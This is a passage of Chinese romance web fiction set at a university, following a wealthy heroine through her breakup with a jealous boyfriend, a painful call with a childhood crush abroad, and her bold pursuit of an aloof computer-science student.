“你这次真的救我狗命了,我宣布以后我就是你的死士,你让我往东,我绝对不会往西。你让我给你上课签到,我就算跨省也得坐高铁回来给你签上……” 这番话有夸大的成分,但陈楹确实帮了她一个大忙。 她今天被管院的人一声不吭地鸽了,拍摄进度完全推进不下去,这些摄影器材有些还是花钱借的,明天就得还。 如果错过了今天,还得再走一次审批流程,麻烦不说,领导还不一定能批。总之,这个锅她是背定了。 虽然在微信上消息轰炸了一番,但她自己都没想到陈楹真的会来。 陈楹平时性格冷冷的,也不常回宿舍住,听说家里不是一般的有钱,来接送她的车都是连号的,家里还有管家和司机,新生开学第一天,她就被这阵势震撼到了。 班上的同学私下都喊她“大小姐”,她今天也是实在找不到别的方法了。 “我就说我舍友不会不管我的。”蒋蓉蓉和旁边的人炫耀,声音里有藏不住的得意。 “待会要拍什么内容?”陈楹问。 蒋蓉蓉连忙把拍摄脚本递过去,但表情一下变得有些难以启齿。 “这剧本可能稍微有那么一点……抽象。” “现在短剧不是很火吗,我就想着恶搞一下,”她指着上面红色荧光笔的部分,“你演里面的‘林氏千金’,今天就只用拍这几个镜头,不会耽误你太多时间的。” 陈楹翻开拍摄脚本,一直没说话,蒋蓉蓉紧张地搓着手,担心剧本是不是太抽象了她会反悔,没想到陈楹再次开口,竟然是夸她。 “这是你写的?” 蒋蓉蓉小鸡啄米式点头。 “嗯嗯。” “写得很有意思,”陈楹翻至最后一页,笑说,“如果下次还需要帮忙,可以叫我。” 蒋蓉蓉眼睛一下亮了,简直受宠若惊,被夸得甚至都有点飘了。 正要说些什么,不远处传来说话声,那声音不大不小,正好传入她们耳中。 “对了,怎么今天没看到计算机的周译铮,没邀请他吗?” 听到这个名字,陈楹脚步一顿。 对话还在继续,那女孩转头问旁边穿着浅色毛衣的女孩,朝她打听,“静蕊,你知道是怎么回事吗?他真的不来吗?” “我前两天和他说了,”陶静蕊垂下眼睑,“但他对这种活动一向不感兴趣。” “那太可惜了,我还想着他可以给我们学校争争气呢,你看隔壁清大选的都是谢祉舟这种级别的,我们学校竟然这么不给力,我要是辅导员,不管怎么软磨硬泡也得把人喊来,这可是真正的流量密码……” 毕竟在去年的校园论坛评选环节,周译铮和谢祉舟两个人票数都断层领先,甩开其他学校一大截。 “静蕊,要不你再劝劝他?而且你不是要演女主角吗?他应该会听你的吧。” …… 陈楹听得很入神,专注得绷紧了肩膀。 许是见她停下脚步,蒋蓉蓉凑近和她耳语:“楹宝,你知道计算机系的周译铮吗?” “嗯,怎么了?” 蒋蓉蓉半掩住唇,凑近八卦兮兮地说:“他和陶静蕊好像是一对,两人从高中那会就在一起了。” 陈楹倒是愣了愣:“是么?” 蒋蓉蓉异常肯定地点头,如同亲眼见证:“两个人就差捅破那层窗户纸了,从刚入学那会就有很多人追周译铮,但都没见他搭理过谁,大家都说他是有喜欢的人了,在避嫌。你别说还挺让人羡慕的,为了她,他拒绝了所有人,这个剧本多浪漫。” 陈楹想起那日时濯说的话,看来也不全是他杜撰的。 “我还撞见过好几次他们一起在食堂吃饭,论坛上还有不少讨论他们的帖子,说得还挺真的……诶,他们是不是在叫我,那我先过去帮忙了。” * 结束拍摄已经是晚上十点,陈楹换好衣服出来,操场上大家正在收拾拍摄器材,七嘴八舌的,商量一会要去哪里吃宵夜。 晚上还有事,她走近和蒋蓉蓉说要先走,但还没走几步,昏茫夜色中,却看见站在银杏树下的周译铮。 他还穿着上次那件黑色的连帽卫衣,寥寥树影落在他身上,他正和陶静蕊说话,头低低的,不知聊到什么,把手里拿着的书递给她。 陈楹侧着身,风声夹杂着说话声传了过来。 “庄老师说的就是这个译本!阿铮,你在哪里借到的?我上次找遍了附近的图书馆都没看到。” “在东门的旧书摊看到的。” “谢谢,没想到你还记得我说的话,”陶静蕊感激地看向他,神色有些腼腆,“对了,阿铮,你能不能等我一下,我先去换个衣服,待会一起走。” “好。” 陈楹路过时,恰巧和陶静蕊擦肩而过,她往体育馆更衣室的方向走,步履匆匆,眼底却闪烁着雀跃。 那是喜欢一个人才会有的眼神。 陈楹嘴角弯了弯收回视线,回过头,竟发现周译铮正在看她。 她很确定他是在看她,以某种晦暗不明的神色。 迎上他的目光,鬼使神差地,她调侃了句:“听说陶静蕊是你女朋友?长得很漂亮。” 没想到周译铮听见她的话,嘴角轻轻扯动了下。 “陈小姐已经一脚踏两船了,还有时间关心别人的私生活?” 陈楹竟被他噎住。 一脚踏两船。 显然,他说的是魏嘉铭和时濯。 周译铮话里的攻击性实在太强,陈楹还是第一次感受到这么直接的恶意,她眉头皱了皱,不禁开口问:“你很讨厌我?” “怎么,是担心我一脚踏三船吗?”她意有所指,反击了回去。 话音落下,周译铮的目光在她身上停留了很久,似是想象不到她竟会说出这样的话,鄙夷的神色在他眼底闪过。 陈楹轻描淡写地说:“放心,我对别人的男朋友不感兴趣。” 风声猎猎,衣衫鼓动。 两人面对面站着,周译铮沉默了片刻,从大衣里拿出一张名片。 那修长漂亮的手夹着那张烫金名片,递到她面前,说话语气和此刻的天气一样冷。 “麻烦替我转告你的另一个男朋友,我没有兴趣。” 什么意思? 陈楹大脑宕机,反应了一秒,直到看到那张天启影视公司的名片才恍然。 她没好气地嗤笑了声。 魏嘉铭怎么还真的去找他了? 7、第七章 寒假结束的那天,陈楹和时濯也结束了恋爱关系。 分手的导火索是一张照片。 那是陈楹和谈清川高中时候的合照,也是她手机隐藏相册里唯一一张照片。 不知时濯是怎么看到的,总之,等她洗完澡从浴室出来,时濯已经把她微信列表里好几个异性的微信都删了,包括魏嘉铭。 “这张照片里的人是谁?” 她还没反应过来,时濯却指着相册里谈清川的照片质问起她。 时濯紧紧攥着她的手机,手臂上青筋凸显,似是愤怒到了极点。 其实他本就不是什么脾气好的人,这段时间只是因为爱她所以才一直装着,可装久了总有失控的时刻。 他不能忍受陈楹心里竟然还有另一个人。 “你是怎么知道我手机密码的?”陈楹眉头拧起,脸色已有些不悦。 “这又是你哪个前任?竟然还一直留着照片,看来是很重要的人了。” 时濯的语气越来越酸。 说起来,他刚才删掉的那几个人一个比一个长得英俊,尤其是那个叫谈什么的。 他认了出来,那个姓谈的就是照片里的人。 虽然两人的聊天记录看不出什么端倪,但他了解陈楹。陈楹是一个薄情的人,向来对谁都不上心,她存着这张照片肯定有特别的意义。 所以,是因为这个男的,她最近才对自己这么冷淡吗? 陈楹平静陈述事实:“他是我的邻居。” “邻居?我不信,”时濯刚才喝了点酒,醉眼朦胧,冷笑道,“谁会留着一个毫不相关的邻居的照片在手机里?” “就算他是我的前任,但和你在一起之前,我就告诉过你,我谈过几任男朋友,”陈楹抬眼,条理清晰地反驳,“所以,你现在要和我闹什么?” 瞧见陈楹不耐烦的神色,时濯一下变得委屈,眼睛红红的。 “可是我没有安全感,你总是对我这么冷淡,你每次不回我消息,我都觉得你和别人在一起,我的心情总被你牵引着,这么久以来,我还是第一次体会到这种心情,”时濯示弱,弯腰抱着她,枕在她颈间,“这是不是说明我真的很爱你?” 昏黄的灯光下,陈楹脸色未变,缓缓拉开他环在腰间的双手。 她字字清晰:“不,这说明我们并不合适。” 听见她的话,时濯的心在一点一点往下沉,理智在回归,他后知后觉地嗅到了一丝危险的气息。 他慌忙拉过她的手贴在脸颊:“你生气了?” 陈楹没说话。 时濯更慌了:“我只是看到这张照片有点不开心,一时冲动才会这么做。对不起,你不要生气好不好?我只是太爱你了,我总希望你的眼里只有我,只爱我,只对我一个人好——” “时濯。”陈楹神情严肃,打断了他。 时濯心里无由来地咯噔响了一声,手心发凉,因为陈楹极少会这么认真地喊他的名字。 果然—— “我不喜欢被别人窥探隐私,更不能容忍别人随便就删除我的好友。我的生活不可能只围着你转。”陈楹低头看他,那眼神就像是在看他最后一面,“就这样吧,我们结束了。你留在这里的东西,我改天会寄给你。” 她直截了当地宣判了结果。 连辩解的机会都不曾留给他。 心脏骤然收紧,时濯脸上再无血色,嘴唇翕动。 “我不同意,我不同意就这样分手。陈楹,这件事是我不对,我和你道歉,我下次不会这样了,都怪我刚才喝了点酒,大脑不太清醒,我保证以后——” 他还要往下辩解,但陈楹已经点燃了一根烟,吐出烟雾的瞬间,她本就明艳到近乎嚣张的脸变得更秾丽,她眼睛半眯,声音疏离而清醒。 “时濯,你应该很清楚我是什么样的人。我们,没有‘以后’。” * 二月底,开学,陈楹彻底忙了起来,竞赛、考试、社团活动接踵而至,她忙得晕头转向,连去club的时间都变少了许多。 与此同时,她和时濯彻底分手了。 他开始大量“生产”朋友圈,几乎每天睡觉前都能看到他的新动态。 赛车,攀岩,滑雪,冲浪,偶尔夹杂着几张深夜买醉的照片,文案似是而非。 【分手的第21天,我发现,我再也无法像爱你一样爱别人。】 【分手的第25天,开始看我们以前的合照。】 【分手的第30天,喝了酒,好像没那么想你了。】 【总有一天,分开的时间会比我们在一起的时间更长,记忆会被冲淡,你的名字也会成为朋友口中隐去不提的禁忌,到那一天,我们或许是真的相忘于人海了。】 实在有些矫情,陈楹皱着眉放下手机。 不知他是从哪里复制粘贴来的。 她太了解时濯了。 像他这么要面子的人,这条动态肯定是仅她一个人可见。 坦白而言,和时濯分开这件事,并没有给她带来多大的触动。 她无法忍受对方窥看自己的手机,甚至随意删除她的好友。她不会给一个人第二次犯错的机会。 只是,她没想到这件事带来的连锁反应远不止于此。 因为,没过几日,她竟接到了谈清川从美国打来的电话。 很突然。 因为在此之前,他们已经有一个多月没联系了。 “小楹,我最近做错什么了吗?” 他的第一句话,就让她愣了愣。 电话里谈清川的声音比往常要低,字节短促,像从喉咙里滚过。 陈楹有点懵:“什么?” “是不是我做错了什么,”说到这,谈清川停顿了片刻,“所以,你把我的微信删了。” 别墅里,水晶吊灯洒下柔和的光线,陈楹揉了揉太阳穴,指腹往下轻压,忍不住叹了叹气。 原来时濯也把谈清川的微信删了。 因为她和谈清川平时联系得也不多,以至于一直都没发现。 她无奈地攥着手机,只好掐头去尾,把事情的经过简单地向他叙述了一遍。 当然,她没有提及隐藏相册里的那张照片。 听完她说的话,不知是不是她的错觉,谈清川好像轻笑了声。 那暧昧的声息通过电流在耳边轻颤,像有蝴蝶在胃里翻飞,她的心脏无由来地陷进去一块。 “我很荣幸能让他产生危机感。” 这句语意不明的话实在引人遐想,陈楹望向外面沉沉的夜色,沉默着,没有任何反应。 “你和他……分手了?”他问。 “嗯,分了。” 许是她的听觉出现了问题,因为她听到电话那头安静了一秒后竟说了句:“那就好。” 心跳骤然停拍,陈楹眼神有瞬间的失焦。 她犹豫着问出口:“什么?” 回答她的是一声极轻的笑。 以至于她无从验证刚才那句话是她的幻觉,还是确有其事。 “小楹,有时候我总觉得你还没长大,你就像贪玩的小孩,和那些人在一起,不过是在追求一时的新鲜感,草率地开始,又仓促地结束,你甚至都不了解他们。”他缓了片刻,“我的意思是,我并不认可你的感情观。” “哦,所以清川哥,你这是在教育我吗?” 陈楹神色极淡地点了一根女士香烟,等着他的下文。 但谈清川那边莫名沉默了许久,雨声淅淅沥沥,从听筒另一侧传过来,低沉的嗓音和雨声交织渗进耳朵。 “小楹,是因为我,你才会变成这样的吗?” 纽约的初春,寒意尚未完全撤离,阳台的风扬起大衣的下摆,谈清川闭上眼睛,好像回到了高考结束那天,陈楹站在他面前,望向他的眼睛明亮如星,流动着熠熠光彩。 后来,他曾无数次地想起那日的情形,想起她甜甜地笑着问他。 “清川哥,你说,如果我现在谈恋爱的话,是不是就不算早恋了。” “谈恋爱?”谈清川茫然地问,“和谁?” 陈楹眼尾弯了下,笑得狡黠。 “你猜。” “谢泽瑞?” 这是陈楹班上的数学课代表,上周,他还来家里找过陈楹。 “不是。” “徐尧?” 这是陈楹的家教老师,在t大学法律,她曾夸过对方长得好看,虽然他认为也就那样。 “不是不是。”陈楹有些生气,“你想到哪里去了?” “那是谁?” 谈清川不愿再猜,无由来地感到焦躁。 游乐园的摩天轮下,霓虹璀璨,陈楹忽然深呼吸了一口气,忐忑地向前走了一步。 还没待他反应过来,脸颊处传来湿润柔软的触感。 心脏剧烈跳动着,陈楹的吻就这么落了下来。 谈清川低头,看到她满怀憧憬地看着自己。 “可以是你吗?” 陈楹脸已经红透,从耳后根蔓延至脸颊,少女的心事是那么直白,毫不掩饰地全写在了脸上。 “其实以前我一直觉得暗恋一个人特别傻,为什么喜欢一个人却不敢告诉他,可是,直到今天,我已经喜欢了你1235天。 因为喜欢你,我生了好多好多的气。别人和你说话,我生气,别人和你走得太近,我生气,篮球比赛她们给你递水和毛巾,我也要生气。 那天在学校操场,我看到有人和你表白,大家都在起哄,让你答应她,回去的路上我忍不住哭了,我不能想象你和别人在一起,光是这么一想,心里就难受得快要死了。 婶婶和我说,如果没有意外的话,以后我和你或许会结婚,我第一次反应竟然是庆幸——” 她说了那么多,直到此刻,谈清川终于出声打断了她。 “小楹,这是家里的安排,我们该有自己的选择。” 陈楹似乎听懂了他的言外之意,错愕地望向他,明亮的眼睛渐渐黯淡了下来。 “你的意思是,我应该反抗家里的安排,和别人结婚。”她咬着下唇,脸上已失去血色,“是这样吗?” 谈清川没有说话。 “所以在你心里,我和那些人也没什么不同,好的,那我懂了。”说到最后,她眼眶渐渐红了,声音里有了哭腔。 好像就是从那天起,一切都变了。 那双看向他总是写满崇拜的眼睛开始变得冷淡,连家庭聚餐,她都坐在离他最远的位置。 在他还没反应过来之前,两周后,陈楹交了她第一个男朋友。 后来,有无数次,他怀疑过当初她表白说的那番话,究竟是不是真心的,他究竟是她的第一个猎物,她一时兴起的目标,还是因为他当初的拒绝,她才会这么随意地对待感情。 他找不到答案。 “是因为高考结束那天,我拒绝了你,才会变成这样的吗?” 陈楹呼吸一窒,胸口像是卡进了一块玻璃,不上不下,硌得生疼。 从未想过他会再提起这个话题,在两年后的这个夜晚。 这么多年,她刻意地不让自己回想起那天的一切,时间,地点,天气,吃的食物,她想要统统忘掉。 可记忆的阀门被打开,她紧紧攥住了手机,不让自己再往下想。 谈清川还在继续往下说:“其实昨天,夏蝉和我告白了,我想起那一年,在游乐园——” 胃里在翻涌,苦味从舌尖蔓延到心脏,快要将她吞没。 所以,这就是他打电话给她的原因——为了告诉她这个消息。 谈清川后面说的话,她已经听不清了,耳边响起那怪异的尖锐得像是指甲刮在黑板上的声音。 她无礼地打断了他,语气却无比冷静。 “是吗,那祝你们幸福。” “幸福——”谈清川木讷地重复她话里的最后两个字,喉咙像是被什么堵住,“这是你真实的想法?” “……对。” 又是一阵难耐又漫长的沉默。 不知电话那头的谈清川在做什么,他许久都没有作声,陈楹赤脚走到落地窗前,这一刻,北城竟也下起了雨,和纽约一样。 雨痕在玻璃上蜿蜒,忽急忽缓地往下流动,正如她现在的心情。 过了好一阵,他终于开口,声音落入耳中:“小楹,我希望你能看清自己的心,我希望你认真地谈一段恋爱,用心地对待一段感情,就像夏婵一样——” 指间的烟灰掉了下来,陈楹的手被烫了一下。 “好的。” “等我遇到真正喜欢的人,我一定第一个告诉你。” 8、第八章 周五,社团聚餐,地点在学校附近的一家火锅店。 结束后,大概觉得还不够尽兴,社长老吴又提议去市中心的银座续摊,一行人乌泱泱地下楼,七嘴八舌的,站在门口打车。 “你们去吧,我待会还有事。” 陈楹兴致缺缺,接了个闹钟,佯装有电话进来,打算离开。 吴擎边留意着司机的电话,又走过来劝她:“陈楹,你真的不去吗?明天又没课,不用早起,一起去吧,我们都好久没聚了。” 陈楹摇头:“今天累了,下次吧。” 是不可商量的语气,没留劝说的余地。 吴擎见状没再多嘴,只说让她到学校了在群里说一声。 “最近这一带不太安全,陈楹,你回去路上要注意安全,到了在群里说一声。” 最近大学城出了几桩社会新闻,有暴露狂在大马路上裸露身体,甚至还性骚扰来往的女学生,辅导员反复在群里提醒大家要注意安全。 陈楹点头:“嗯,放心。” 她今天没开车过来。 这家火锅店藏在城中村的巷子里,车开不进来,幸好今晚月色不错,她罕见地有了想要散步回去的心情。 白天下过雨,空气里还能闻见雨水浸湿草木的清冽味道,她踩在石板路,小心地避开地上未干的水洼。 时间太晚,路上几乎没什么人。 除了她以外,就只有—— 她望向不远处。 那人和她一前一后走着,狭窄的巷子,安静如无人之境,只剩脚步声错落回响。 或许是担心她遇到危险,又或许只是她想多了,她竟觉得那人是在刻意放慢脚步等她。 她感到意外,因为那个人——是周译铮。 他怎么看都是一副生人勿近、不会管她死活的样子。 他真的是在等她吗? 为了验证这一点,陈楹眼珠子转了转,故意在便利店前停了下来,她站在门口的冷柜前买了两罐黑啤,又慢悠悠地去付款。 等她结完账出来,果然周译铮还在外面。 冷藏柜幽冷的光打在他的右脸,光影浮动,恍如置身偌大的水族馆,明暗的分界线打在眉骨和鼻梁,衬得五官更为深邃立体,他目光没有焦距,散落在某瓶饮料的包装,反而增添了身上的忧郁感。 连陈楹都不由感慨,这真是一张完美的脸,做任何表情都是那么赏心悦目。 不知道做.暧的时候是不是也如此? 他的鼻梁很高,从山根到鼻尖的弧度堪称完美,脑海里不由闪过某些荒唐的念头。 坦白而言,周译铮确实很符合她的审美,或者说,这张脸本就可以统一所有人的审美。 她并不是唯一的观赏者。 在他从冷藏柜拿出一瓶矿泉水前,陈楹把手里的啤酒递了过去。 他迟迟没有接过,只是视线顺着那罐啤酒往上,最后落在她的眼睛。 “好奇问问,你是在……等我吗?”她靠在墙上,侧头看他。 周译铮收回视线,声音很冷。 “你一向这么自作多情么?” 预想之中的答案。 陈楹没放在心上。 “喝吗?请你喝。” 她把那罐啤酒往他面前送了送。 周译铮没理会,又或者说是完全忽略了她,他转身从冰柜里拿了瓶矿泉水去了结账台。 陈楹耸了耸肩,无奈地看着他的背影。 好难交流的一个人。 啤酒喝到第三口,周译铮终于从便利店出来,她自然地走上前,和他并肩走着,仿佛一早就约定好的那般。 月色皎洁,他的倒影落在她脚边。 陈楹忽然想起了什么:“对了,你还没回答我那天的问题。” “什么?” “陶静蕊是不是你女朋友?” 他那天似乎并没有给她一个明确的答案。她后来去查实,似乎和蒋蓉蓉的说法有很大的偏差。 话音刚落,周译铮就放慢了脚步,低头意味不明地看了她一眼。 “我有没有女朋友,和你有关系吗?” “有,”陈楹饶有兴致地应了声,嘴角一弯,又说,“有很大的关系。” 说完,她径自走上前挡住他的去路,仰头直勾勾地看他,眼底亮晶晶的。 “你没有女朋友,对吧。” 不远处,瓦檐正在往下滴水,那细微的声响敲击着耳膜。此刻两人的距离只有不到十公分,靠得那么近,她只要再往前一小步,就能亲到他的脸颊。 她实在经验丰富。 这场追逐游戏里,她绝不可能会先落下风。 果然,路灯下,周译铮皱眉,先别过了脸。 从他的表情,陈楹已经猜到了。 “那你之前有没有谈过恋爱?” 周译铮仍旧没说话。 “看来没有,”陈楹眼睛弯了弯,睫毛轻颤,声音轻得像雾萦绕在他心上,“那恭喜你,你马上会有一段很美好的初恋。” 下一秒,他脸上的错愕尽数落入她眼底,但反应过来后又变成了讥讽。 “我不知道你在说什么,”周译铮下颌绷紧,“我没记错的话,陈小姐好像还有男朋友。” 不知为何,他似乎一直称呼她为“陈小姐”,正如那天在silverlune旁人称呼她的那样,极为客套生疏。 “男朋友?哦,我和时濯已经分手很久了,他没告诉你吗?” “很久?”周译铮问。 “嗯,应该差不多有两个月了。” “两个月,”周译铮嗤笑了声,“很久?” “不然呢,我还得为他守孝三年?”陈楹没兴趣再讨论这些无意义的话题,发出邀约,“明天有没有空,我们一起吃饭吧。你喜欢吃什么?” 说实话,她并不擅长发出此类邀请,毕竟她向来是被邀请的那一个。 “抱歉,”周译铮薄唇微抿,望向她的眼神幽深,“我想你误会了,我对你没有兴趣,或者说,我连你名字都没记住过。我不会喜欢像你这样的人。” 陈楹怔住。 像她这样的人,是什么样的? 仅仅只有一秒,她脸色又恢复如常,用满是侵略性的眼神凝视着眼前的人。 她承认,某种程度来说,周译铮勾起了她的胜负欲。 下一秒,她抬手扼住了他的手腕,左手指腹按在他凸起的青筋上,右手在他掌心划着圈写字,一笔一顿。 “楹”字笔画复杂,她写得很慢,指尖落在他的皮肤上,若有似无,轻得像羽毛拂过,酥麻的触感如电流经过。 “我叫陈楹,现在记住了吗?” 周译铮喉结动了动,呼吸一滞,掌心滚烫如同发烧,立刻抽回了手。 “原来你对我没兴趣,可是怎么办,”陈楹很满意他此刻的反应,踮起脚附在他耳边用气声说道,“我对你很有兴趣。” 迎上他诧异的眼神,她半真半假地开着玩笑,尾音拖长:“你知道吗,我和时濯在一起的时候,都一直……想着你。” 9、第九章 翌日中午,陈楹上完专业课,刚走到门口,蒋蓉蓉就从教室末尾哒哒哒地跑了过来,说要请她吃饭。 “楹宝,你是不是要去吃饭?” “嗯。” “我请你吧。你知道吗,上次的短视频点赞已经破10万了,多亏了你那天过来帮忙,”蒋蓉蓉勾着她的手臂,甜甜地笑着露出两个梨涡,“今天不管说什么我都要请你吃饭,你可一定要给我这个机会。” 陈楹没拒绝:“行,那就请我吃学校食堂吧,刚好今天没什么胃口。” 蒋蓉蓉愣了愣,试图捋顺其中的逻辑。 想想也是,食堂那难吃得要死的饭菜,哪怕没吃完倒掉,也不算是浪费粮食。 “好呀,我们可以去二楼的餐厅,其实那里有一家铁板牛肉还是不错的。” 已经说好了,只是刚走到教学楼下,又有了变数。 蒋蓉蓉望着站在花圃前那个穿搭时髦前卫得像是刚从米兰时装周回来的人,陷入了沉思。 因为,如果她没记错的话,这个人好像是陈楹的前男友。 是隔壁学校的,上个学期还来找过陈楹几回。 气氛一下变得诡异起来,空气像被什么黏住了,蒋蓉蓉站在两人中间,瞧着这面面相觑的情形,识趣地找借口离场。 虽然她很想看热闹,但她担心待会自己管理不好表情。 “楹宝,我突然想起我还有事,先走了。下次我再请你吃饭哈,这顿先欠着。” 蒋蓉蓉刚走,林喻辞就迈步走了过来,身上那标志性的宝格丽香水味侵入鼻腔,一头金色的头发在阳光下极其张扬,路过的人都忍不住多看两眼。他像是早就习惯了旁人注视的目光,全然无视。 只是这185的身高,这短短几步路,像是在走t台。 “楹宝?你同学都这么称呼你?”他像是发现了什么新鲜事,说话时尾音上扬,“还怪可爱的。” 陈楹拧眉,皱了皱鼻子:“你别这么叫。” “为什么?” “听着恶心。” “你——” 果不其然,林喻辞顷刻间气得脸通红,咬牙切齿。 他尽量控制说话的音量:“陈楹,你能不能好好说话!” “不能。” “就非得给我甩脸色,以前是这样,现在也这样。你对时濯都比对我好。”说到最后竟还有点委屈,声音低了下去。 陈楹没理他。 “你要去哪?” 眼看陈楹走了,他又心急火燎地跟了上来。 “我去学校食堂,你别跟着。” 林喻辞是林树钦在六十岁高龄得来的独子,自小就被宠着,含在嘴里怕坏了,捧在手里怕摔了。 听说他出生那一年,林家就给云城那边的寺院捐赠了一座佛像,又建了以他为名的慈善基金会,祈盼他健康顺遂,所有人都知道他是在万众瞩目的期待中出生的。 他是被溺爱着长大的,甚至上学那会,怕他在学校无聊,家里还安排了年龄相仿的同学陪他一起念书。 知道他向来比自己还娇生惯养,矫情得厉害,陈楹故意劝退他。 她知道他吃不下学校食堂的饭菜。 “谁说我跟着你了,我也正要去吃饭。” 林喻辞晃了晃手里的学生卡,一头金发和此刻的笑容一样晃眼。果然他是借了别人的卡进来的。 只是这短短几句话,陈楹已经失去耐心,语气变得烦躁。 “你到底来这里做什么?” “没什么,就是听说你和时濯分手了,我来看热闹。当初你为了这种货色甩了我,也不知道你后悔了没。不过你现在就算找我复合,也得排队了。我现在多的是人喜欢。” 林喻辞的预感一向准,自从他发现时濯没再点赞陈楹的朋友圈,他就隐隐觉得不对劲。 他暗地里找人跟了时濯一周,果然,他和陈楹已经没有任何接触了。 还没听完,陈楹就深吸了一口气,没好气地笑了笑。 “第一,我说过很多次,当初我和你分手不是因为时濯;第二,我不后悔。第三,请你搞清楚,现在是你主动来找我。” 林喻辞牙齿都快咬碎:“陈楹——” 果然她还是一说话就能把他气死。 他还真是来这里作贱自己了。 到了学校食堂,陈楹去了一楼的餐厅打了些素菜,她今天确实没什么胃口。 这会正好是饭点,食堂里很热闹,位置几乎全被占满了。 只有三点钟的方向还空出几个位置,她捧着餐盘走过去,林喻辞阴魂不散地跟在她后面。 陈楹放下餐盘,刚要坐下,忽然视线一顿。 因为,周译铮就坐在隔壁。 而在他对面的人是……陶静蕊。 她想起昨天她约周译铮吃饭,他说没空,现在转头就和别人吃起了饭。 这还是她第一次被人忽视得这么彻底。 双目对视,周译铮幽深的目光从她身上转移到了她旁边的林喻辞,最后又落回她的脸。 顶着他晦暗不明的眼神,陈楹朝他挑了挑眉。 陶静蕊似乎没发现异常,还在继续着刚才的话题,说话时脸上带着清浅的笑意。 “你知道吗,姚老师来北城出差了,好像是来参加省里的研讨会。” 周译铮:“姚老师现在在北城?” “是的,估计过两天才回去,”陶静蕊思忖了片刻,才又开口,“阿铮,你明天有空吗,要不我们一起去看望一下姚老师吧,听说他最近身体不太好。” “那下午吧,早上我可能要去一趟南校。” 陶静蕊露出笑容:“好呀,我们早点出门,可以一起去超市买点水果带过去。” 陈楹就坐在他们隔壁,听见他们聊天的内容,也能察觉出两人关系很好,起码从高中就认识了。 正走神,林喻辞故作体贴地往她餐盘里夹了好几块牛肉。 “怎么吃这么素,多吃点优质蛋白。” 陈楹没搭话:“你拿的谁的校园卡?” “不认识,一个男的。” “不认识,他为什么把卡借给你?” 林喻辞说起来还有点沾沾自喜:“那自然是用了一点‘钞能力’。” 他没有告诉陈楹,他只花了三千块,那人就同意把校园卡借给他了,而且不是一次两次,而是一个学期。 真是性价比极高的一笔交易。 “不说这个了,周末去看我打球吧,刚好有个篮球赛,我打前锋。” 陈楹轻哂:“你打球很厉害吗?” 她记得他连校队都没进,能有什么好看的。打个篮球,还要配备几个家庭医生在旁边的,能有什么好看的? 林喻辞:“反正比时濯厉害。” “……” “你承不承认?” “不。” 林喻辞觉得有被侮辱到:“陈楹,你到底懂不懂篮球?!” “我不懂篮球,但我懂你。” 他是什么水平,她最清楚不过了。 这明明是一句贬义的话,但林喻辞竟没再和她犟,嘴角缓缓上扬。 终于安静了一会,陈楹正觉耳根清净,林喻辞忽然把手机递到她面前。 “楹宝,”他给她看他刚改的微信备注,得意洋洋地说,“这个称呼还挺可爱,以后我也这么叫你。” 陈楹鄙夷地皱了皱眉。 而且,不知是不是她的错觉,听到这个称呼,旁边的周译铮似乎转头看了她一眼,低低地嗤笑了声。 10、第十章 走出学校食堂,烈日当空,连空气都是晒焦的味道,陶静蕊走在周译铮右侧,两人保持着不远不近的距离。 陶静蕊仰头望向周译铮,迟疑地开口:“刚才坐在我们隔壁的,好像是商学院的陈楹。” 周译铮神色极淡,语气也没有起伏。 “是吗,不认识。” 陶静蕊意外,竟又有些窃喜:“你不认识陈楹?” “嗯。” 陶静蕊顿时心头一轻。 她想,刚才果然是她的错觉。 她总觉得周译铮刚一直在走神,连说话也漫不经心的,她还以为是陈楹的原因。 因为自从陈楹出现,他就变得反常。 可现在细细想来,周译铮和陈楹又怎么会有交集呢?他又怎么会把注意力放在那样的人身上。 不过话题已经打开,避免刻意,她还是继续说了下去。 “我经常听我舍友提起她,她在学校还是挺……有名的,我以为你也听说过。” 周译铮困惑地皱起眉:“有名?” “是啊,陈楹她长得漂亮,家里又有钱,连男朋友都是轮着换的,新生开学那天,她和她当时的男朋友还上过校园论坛,男生家里好像是开娱乐公司的,但没多久她旁边的人又换了一个,”大概是意识到谈论别人的私生活不太礼貌,她又补充了句,“不过我也只是听说,不知道是真的假的……阿铮,你还在听吗?” 周译铮一直没说话,陶静蕊说到最后,声音渐渐低了下去。 是她说错……什么了吗? 突兀地结束了话题,她转头看向旁边的人。 午后的阳光落在那张完美的脸上,深邃的五官如同雕塑家苦心雕琢的杰作,只是那双向来温柔的眼睛此刻没有焦点,平静得近乎冷漠。 “抱歉,我对这些不是很感兴趣。”周译铮礼貌道歉,似是不愿意再继续这个话题,“刚刚有些走神。” “没事,是我刚才说多了。” 陶静蕊想,果然他还是那个她熟悉的周译铮,对任何人和事都不感兴趣。 * 晚上十点,图书馆闭馆的音乐声准时响起,周译铮收拾桌面的物品,从座位离开。 刚走到楼下,有人从后面跟了上来,那脚步声由远及近,变得急促。 “同学,请等一下。” 意识到对方是在叫自己,周译铮站在台阶处,缓缓回头。 扎着高马尾的女孩快步跑了过来,站定时脸颊还微微泛着红,她右手拨弄着额前不听话的刘海,小声开口:“我是商英的林晴昉,你还……记得我吗?” 空气凝滞了一秒,周译铮茫然地摇了摇头。 好不容易鼓起的勇气顷刻间消散了大半,只是眼前的人好像并没有打算离开,而是很有耐心地在等她把话说完。 对上他的眼睛,她深呼吸了一口气,紧紧攥着右手:“上个月琼市的英语演讲比赛,你给我解过围,我那天肚子有些不舒服,只有你愿意和我调换出场顺序,我一直很想找机会谢谢你……” 周译铮似是终于记起,语气客套又疏离。 “只是一件小事,不用放在心上。” “对你来说或许只是一件小事,但那天后,我总是会想起你,我知道这有点冒昧,但是……最近有一场科萨契夫的钢琴演奏会,我、我可以邀请你一起去看吗?” 他听出了言外之意。 其实这样的场景他并不陌生,由于发生的频率过高,他早已能对此应对自如。 但很诡异地,在这个时刻,他竟然走神了。 他竟又想起了陈楹。 他想起她趾高气扬的样子,夜色中,她打量着自己,就像在观察自己即将到手的猎物。 “我叫陈楹,现在记住了吗?” 轻挑的眼神,挑衅的话语,还有指尖游走刮过掌心那酥酥麻麻的触感,一切都在脑海里复现。 她贴近他的耳畔,那甜腻的香水味钻入鼻腔,“原来你对我没兴趣,可是怎么办,我现在对你很有……兴趣。” 连他自己都诧异竟还记得那样清楚。 很快,他为此找到了合适的解释。 那是他第一次遇到这么无礼、傲慢、盛气凌人、不知分寸的人。 “其实我朋友知道我要和你表白后,劝过我,她说你有很多人喜欢,比我优秀漂亮的大有人在,你肯定早就不记得我了,但我还是想试试……” 女孩真诚地仰头看向眼前的人,自那日后,这张脸曾在她梦里出现了无数次,此刻她终于再次见到了他。 她无法描述自己现在的心情,期待,忐忑,不安却又忍不住想要靠近。 